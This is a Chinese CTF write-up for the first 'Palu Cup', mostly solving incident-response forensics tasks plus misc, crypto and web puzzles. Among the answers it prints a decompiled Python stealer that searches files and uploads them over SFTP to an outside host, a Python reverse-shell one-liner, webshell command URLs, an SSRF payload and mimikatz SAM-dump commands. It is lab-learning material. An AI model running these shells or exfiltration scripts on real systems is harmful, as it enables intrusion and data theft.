第一届 “帕鲁杯“ writeup

文章目录

这次是跟朋友们打的,由于应急的题多侥幸拿了个稍微过得去的名次。主要是应急题做的差不多,故写wp
40和52不会
检材链接:https://pan.baidu.com/s/1am2UEH1Djcu1IcujxuHDGQ?pwd=7179
提取码7179
解压密码:Network@@ZGSF&One-FoxSelfTeam

在这里插入图片描述

Misc

Misc-签到

使用python进行chr

s = '''27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103'''.split('\n')
for i in s:
        print(chr(int(i)),end='')

关注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag
关注即可

flag{TreJaiuLT1rgbdfG0Eay}

观察到
在这里插入图片描述
江汉 薪金珠宝,搜一下即可在3D地图上找到
在这里插入图片描述
然后根据格式提交

flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}

FM 145.8

一眼SSTV
在这里插入图片描述

flag{19b4dD77bF3c66f91c23F5A25Bc314CB}

ez_misc

图片尾有一段空白字符,不是whitespace是snow。复制下来保存到新文件里
空密码能解出一段Carefree and carefree,直接就是压缩包密码,解压即可
在这里插入图片描述

flag{b220116fc6ca827ecf3cb6c6c06dac26}

为什么我的新猫猫吃不饱

旧题存在附件未删干净,被更新题目了(
首先在gif尾发现第一段flag:UOZT{NB_XZ1_
在这里插入图片描述
至于为什么不要后面的HHT5,请看下一张图
在这里插入图片描述

使用atbash–》flag{my_ca1_ (FLAG{MY_CA1_)
第二段在gif+png里
用gifframe分离出来,然后发现Frame22和png一致,拿去盲水印,这里试了好几个最后是linya的频域盲水印
在这里插入图片描述
在这里插入图片描述
1s_Fu11}
flag{my_ca1_1s_Fu11}交不上
然后下午4点flag更新了,交的上了

flag{my_ca1_1s_Fu11}

Crypto

玛卡巴卡有什么坏心思呢

搜索"玛卡巴卡编码" 解密
找到github项目地址,找commithttps://github.com/ChinaRan0/Drt-AAV/commit/8f42d480e0626e3af176db12df520026b6e5c076#diff-6e1d6f196dc2487346f7ae8aafe3edb28a6abc558b567c516853104163968f12
找到码表,写个脚本转换

def decode_message(encoded_message, encoding_rules):
    decoding_rules = {v: k for k, v in encoding_rules.items()}
    decoded_message = ""
    i = 0
    while i < len(encoded_message):
        for encoded_str in sorted(decoding_rules.keys(), key=len, reverse=True):
            if encoded_message[i:].startswith(encoded_str):
                decoded_message += decoding_rules[encoded_str]
                i += len(encoded_str)
                break
        else:
            i += 1

    return decoded_message

encoding_rules = {
    'a': '玛卡巴卡轰',
    'b': '阿巴雅卡轰',
    'c': '伊卡阿卡噢轰',
    'd': '哈姆达姆阿卡嗙轰',
    'e': '咿呀呦轰',
    'f': '玛卡雅卡轰',
    'g': '伊卡阿卡轰',
    'h': '咿呀巴卡轰',
    'i': '达姆阿卡嗙轰',
    'j': '玛卡巴卡玛卡巴卡轰',
    'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'm': '阿巴雅卡阿巴雅卡轰',
    'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'p': '伊卡阿卡噢伊卡阿卡噢轰',
    'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'v': '咿呀呦咿呀呦轰',
    'w': '咿呀呦咿呀呦咿呀呦轰',
    'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'z': '玛卡雅卡玛卡雅卡轰',
    'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'C': '伊卡阿卡伊卡阿卡轰',
    'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'F': '咿呀巴卡咿呀巴卡轰',
    'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'J': '达姆阿卡嗙达姆阿卡嗙轰',
    'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'N': '巴卡巴卡轰',
    'O': '巴卡巴卡巴卡巴卡轰',
    'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'S': '呀呦轰',
    'T': '呀呦呀呦轰',
    'U': '呀呦呀呦呀呦轰',
    'V': '呀呦呀呦呀呦呀呦轰',
    'W': '呀呦呀呦呀呦呀呦呀呦轰',
    'X': '达姆阿卡轰',
    'Y': '达姆阿卡达姆阿卡轰',
    'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
    '0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '2': '玛巴轰',
    '3': '玛巴玛巴轰',
    '4': '玛巴玛巴玛巴轰',
    '5': '玛巴玛巴玛巴玛巴轰',
    '6': '巴卡玛巴轰',
    '7': '巴卡玛巴巴卡玛巴轰',
    '8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '=': '妈个巴子轰',
    '/': '妈个巴卡轰',
    '+': '妈个巴达轰',

}
encoded_message = "玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰"
decoded_text = decode_message(encoded_message, encoding_rules)
print(decoded_text)
#jinitaimei
flag{jinitaimei}

web

Web-签到

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

能够看到需要带有paluctf才能够得到flag,那么直接?url=http://localhost/flag就能得到paluctf
因此最终payload:http://127.0.0.1:50258/?url=http://localhost/flag

应急响应

1.找到JumpServer堡垒机中flag标签的值。

访问后台http://192.168.20.123:8080,账号密码admin/Network@2020
在更多选项中标签里找到flag
在这里插入图片描述

[BrYeaVj54009rDIZzu4O]

2.提交攻击者第一次登录时间。

试了几个不对,然后准备试一个很特别的,没想到就是
在这里插入图片描述

[2024/04/11/14:21:18]

3.提交攻击者源IP。

在jumpserver的资产详情中找到ip

在这里插入图片描述

[192.168.1.4]

4.提交攻者使用的cve编号。

在这里插入图片描述
攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下
在这里插入图片描述

[CVE-2024-29201]

5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。

在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。
导出
在这里插入图片描述
在这里插入图片描述

[84413332e4e7138adc5d6f1f688ddd69]

6.分析恶意程序连接地址和密码。

第一次知道linux的python程序也能用unpacker
在这里插入图片描述
在这里插入图片描述
甚至版本,那就在线吧
在这里插入图片描述

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

7.提交存在反序列化漏洞的端口。

在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);
发现有7001,8080,测试后8080为反序列化漏洞的端口

[8080]

8.提交攻击者使用的后门路由地址。

在jumpserver里的记录里面发现cat了app.py
在这里插入图片描述
尝试提交/api/system的答案,对的

[948c4425bad48511fd6281d345ee69a1]  

9.提交dnslog反弹域名。

发现flask文件夹下有一个log.txt

在这里插入图片描述
提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn
在这里插入图片描述

[86fedf00e173a0d531be569028fc1f6e]

10.提交第一次扫描器使用时间。

在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?
在这里插入图片描述
没想到对了…这也算扫描器

[2024/04/15/02:26:59]

11.提交攻击者反弹shell使用的语言。

在log日志找到python
在这里插入图片描述

[23eeeb4347bdd26bfc6b7ee9a3b755dd]

12.提交攻击者反弹shell的ip。

同上图

[82.157.238.174]

13.提交攻击者留下的账号。

在这里插入图片描述

[palu.com]

14.提交攻击者的后门账户密码。

用dg打开然后看shadow
在这里插入图片描述在这里插入图片描述

猜测能用rockyou爆破
在这里插入图片描述
密码123123

[4297f44b13955235245b2497399d7a93]

15.提交测试数据条数。

看mysql1,5条
在这里插入图片描述

[e4da3b7fbbce2345d7772b0674a318d5]

16.请提交攻击者留下的信息。

在/var/log/nginx下想查看日志的时候,发现一个hack文件
在这里插入图片描述

flag{hi_palu_f10g}

17.请提交运维服务器上的恶意文件md5

在jumpserver上看到上传了个helloworld
找到在lib下,直接拷贝的镜像看不到lib文件
在这里插入图片描述
同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下
在这里插入图片描述

拷贝出来解码,计算一下hash即可

[0fca0f847a45401c878d7a5303ddc1f8]

18.提交恶意文件的恶意函数。

不知道为什么不是haveadoor,答案是begingame
在这里插入图片描述

[ddd0599cda1fc289a617db148d75383b]

19.请提交攻击者恶意注册的恶意用户条数。

10
在这里插入图片描述

[d3d9446802a44259755d38e6d163e820]

20.请提交对博客系统的第一次扫描时间。

在这里插入图片描述

[2024/04/16/21:03:46]  

21.提交攻击者下载的文件。

在WAF里发现下载了一个upload.zip

在这里插入图片描述

[upload.zip]

22.请提交攻击者第一次下载服务器文件的时间。

这题是做的倒数第7题,之前在做的时候找到log日志
这次是找到的jumpserver里也多次出现的other_vhosts_access
在这里插入图片描述
然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip
在这里插入图片描述

[16/Apr/2024:09:03:52]

23.请提交攻击者留下的冰蝎马的文件名称。

在这里插入图片描述
用自带的后门查看一下
view-source:http://192.168.20.121/?123=system(%27cat%20./api/nidewen.php%27);

在这里插入图片描述
名称nidewen.php

[nidewen.php]

24.提交冰蝎的链接密码。

通过搜索可知,该密钥为连接密码32位md5值的前16位
秘钥1be873048db838ac
在这里插入图片描述
…,再来试试rockyou.txt字典,也不行,留着了。
Github 搜索,启动!
在这里插入图片描述

[nidewen]

25.提交办公区存在的恶意用户名。

登录时一共两个账号,一个administrator,另一个就是hacker

[hacker]

26.提交恶意用户密码到期时间。

cmd管理员运行net user hacker
在这里插入图片描述
不过这题在jumpserver里看操作记录视频回放也能看到

[2024/5/28/21:40:37]

27.请对办公区留存的镜像取证并指出内存疑似恶意进程。

windows,好,winhex导出
在这里插入图片描述
windows10是吧,volatility3启动
在这里插入图片描述
发现.hack.ex

[.hack.ex]

28.请指出该员工使用的公司OA平台的密码。

在查看内存文件的时候,发现用户叫qiyue
我有七月师傅的好友,然后在我印象里他应该不在这个团队
并且这个.hack.ex我有印象
google搜了一下““.hack.ex” “CTF””
在这里插入图片描述
https://blog.csdn.net/qq_22406677/article/details/135001795

在这里插入图片描述在这里插入图片描述

不过网上只有答案没有wp。
既然这样我就不用vol3来做了
在这里插入图片描述
很轻易再次证明和本次PC1没有关系。
然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出
在这里插入图片描述
在这里插入图片描述
密码liuling7541

[liuling7541]

29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。

用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!
在这里插入图片描述

[h4ck3d!]

30.请提交该计算机中记录的重要联系人的家庭住址。

找Contact
在这里插入图片描述
王总一看就很重要
在这里插入图片描述
在这里插入图片描述
不愧是王总,秋水省雁荡市碧波区千屿山庄1号

[秋水省雁荡市碧波区千屿山庄1号]

31.请提交近源靶机上的恶意文件哈希。

打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash
在这里插入图片描述

[a7fcd0b15a080167c4c2f05063802a6e]

32.提交恶意程序的外联地址。

在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084
找到这个CN的地址
在这里插入图片描述

[101.78.63.44]

33.提交攻击者使用内网扫描工具的哈希。

能够在记录里发现使用了fscan
在这里插入图片描述
发现路径为/bin
在这里插入图片描述
用md5sum计算一下即可
view-source:http://192.168.20.121/?123=system(%22md5sum%20/bin/fscan%22);

[1facdcd05c43ba4d37274dffc90b6d4e] 

34.请提交攻击者在站点上留下的后门密码。

第7题提到了密码是123

[202cb962ac59075b964b07152d234b70]

35.请提交攻击者在数据库留下的信息。

直接连上mysql1
在这里插入图片描述

[flag{hack_palu}]

36.提交攻击者在监控服务器上留下的dcnlog地址。

在这里插入图片描述

[palu.dcnlog.cn]

37.提交监控服务器上恶意用户的上一次登录时间。

搜索如何登录zabbix,找到http://192.168.20.12/zabbix/
顺便百度也给出来默认账号密码是Admin/zabbix
在用户处查看到最后一次登录时间
在这里插入图片描述

[2024/04/17/01:32:44]

38.提交监控服务器上遗留的反弹shell地址和端口。

见36的第6个命令,base解一下得到

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
[154.183.110.12:7890]

当然在平台上看也是可以的
在这里插入图片描述

39.提交恶意钓鱼文件的哈希。

在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交

[da75025ff7f3b6baa27f5913c1c83063]

!40.提交恶意文件外连IP。

不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。

41.提交被恶意文件钓鱼使用者的姓名。

在这里插入图片描述

[陈琚鹭]

42.提交攻击者留下的信息。

看jumpserver
在这里插入图片描述
找视频
在这里插入图片描述

flag{2024-04-17-hi}

43.提交恶意用户数量。

在PC2上,打开cmd执行net user
一共49个
在这里插入图片描述

[f457c545a9ded88f18ecee47145a72c0]

44.请提交员工集体使用的密码。

使用winhex将SAM与SYSTEM导出
在这里插入图片描述导出后使用mimikatz
sekurlsa::minidump SYSTEM
lsadump::sam /sam:SAM /system:SYSTEM
随便选一个看看
在这里插入图片描述

能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码

[Network@2020]

45.提交加密文件的哈希。

发现上传了一个docx文件,于是乎使用everything去搜一下
在这里插入图片描述
误打误撞找到加密文件

[2bf71a0d6d4e70cec7602da2b653e2ab]

46.提交被攻击者加密的内容明文。

脚本见crypto题目

[2024ispassword]

47.请提交符合基线标准的服务器数量。

不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了

[cfcd208495d565ef66e7dff9f98764da]

48.提交办公区的恶意文件哈希。

在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe
在这里插入图片描述
传一个everything上去搜
在这里插入图片描述
算一下hash

[5232a191eb2913337e0a93b0a990f2a2]

49.提交恶意回连端口。

使用unpacker
在这里插入图片描述
然后uncompyle6
在这里插入图片描述
结果如下:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul  1 2022, 10:30:50) 
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py

#[此处省略400行由于反编译导致的无关代码]
Instruction context:
   
 L.  13        86  LOAD_FAST                'file_path'
                  88  LOAD_FAST                'search_text'
                  90  BUILD_TUPLE_2         2 
                  92  POP_BLOCK        
->                94  ROT_TWO          
                  96  BEGIN_FINALLY    
                  98  WITH_CLEANUP_START
                 100  WITH_CLEANUP_FINISH
                 102  POP_FINALLY           0  ''
                 104  ROT_TWO          
                 106  POP_TOP          
                 108  ROT_TWO          
                 110  POP_TOP          
                 112  RETURN_VALUE     
               114_0  COME_FROM            84  '84'
                 114  POP_BLOCK        
                 116  BEGIN_FINALLY    
               118_0  COME_FROM_WITH       66  '66'
                 118  WITH_CLEANUP_START
                 120  WITH_CLEANUP_FINISH
                 122  END_FINALLY      
                 124  JUMP_BACK            24  'to 24'
import os, paramiko
from getpass import getpass

def search_in_files--- This code section failed: ---

 L.   6         0  LOAD_GLOBAL              os
                2  LOAD_METHOD              walk
                4  LOAD_FAST                'directory'
                6  CALL_METHOD_1         1  ''
                8  GET_ITER         
               10  FOR_ITER            128  'to 128'
               12  UNPACK_SEQUENCE_3     3 
               14  STORE_FAST               'root'
               16  STORE_FAST               'dirs'
               18  STORE_FAST               'files'

 L.   7        20  LOAD_FAST                'files'
               22  GET_ITER         
             24_0  COME_FROM            36  '36'
               24  FOR_ITER            126  'to 126'
               26  STORE_FAST               'file'

 L.   8        28  LOAD_FAST                'file'
               30  LOAD_METHOD              endswith
               32  LOAD_STR                 '.txt'
               34  CALL_METHOD_1         1  ''
               36  POP_JUMP_IF_FALSE    24  'to 24'

 L.   9        38  LOAD_GLOBAL              os
               40  LOAD_ATTR                path
               42  LOAD_METHOD              join
               44  LOAD_FAST                'root'
               46  LOAD_FAST                'file'
               48  CALL_METHOD_2         2  ''
               50  STORE_FAST               'file_path'

 L.  10        52  LOAD_GLOBAL              open
               54  LOAD_FAST                'file_path'
               56  LOAD_STR                 'r'
               58  LOAD_STR                 'utf-8'
               60  LOAD_STR                 'ignore'
               62  LOAD_CONST               ('encoding', 'errors')
               64  CALL_FUNCTION_KW_4     4  '4 total positional and keyword args'
               66  SETUP_WITH          118  'to 118'
               68  STORE_FAST               'f'

 L.  11        70  LOAD_FAST                'f'
               72  LOAD_METHOD              read
               74  CALL_METHOD_0         0  ''
               76  STORE_FAST               'contents'

 L.  12        78  LOAD_FAST                'search_text'
               80  LOAD_FAST                'contents'
               82  COMPARE_OP               in
               84  POP_JUMP_IF_FALSE   114  'to 114'

 L.  13        86  LOAD_FAST                'file_path'
               88  LOAD_FAST                'search_text'
               90  BUILD_TUPLE_2         2 
               92  POP_BLOCK        
               94  ROT_TWO          
               96  BEGIN_FINALLY    
               98  WITH_CLEANUP_START
              100  WITH_CLEANUP_FINISH
              102  POP_FINALLY           0  ''
              104  ROT_TWO          
              106  POP_TOP          
              108  ROT_TWO          
              110  POP_TOP          
              112  RETURN_VALUE     
            114_0  COME_FROM            84  '84'
              114  POP_BLOCK        
              116  BEGIN_FINALLY    
            118_0  COME_FROM_WITH       66  '66'
              118  WITH_CLEANUP_START
              120  WITH_CLEANUP_FINISH
              122  END_FINALLY      
              124  JUMP_BACK            24  'to 24'
              126  JUMP_BACK            10  'to 10'

Parse error at or near `ROT_TWO' instruction at offset 94


def ssh(local_file_path, remote_file_path):
    hostname = '192.168.20.123'
    port = 22
    username = 'root'
    password = 'Network@2020'
    client = paramiko.SSHClient
    client.set_missing_host_key_policyparamiko.AutoAddPolicy
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp
    sftp.putlocal_file_pathremote_file_path
    sftp.close
    client.close
    print(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")
    flag = 'flag{234567uyhgn_aiduyai}'


search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)

端口22

[22]

50.提交恶意程序中的flag。

如上

flag{234567uyhgn_aiduyai}

51.提交恶意文件中的search_for_text内容。

如上上

[passwod]

!52.提交web服务器上攻击者修改后的root密码。

这个是真的一点思路没有

  • 32
    点赞
  • 72
    收藏
    觉得还不错? 一键收藏
  • 16
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值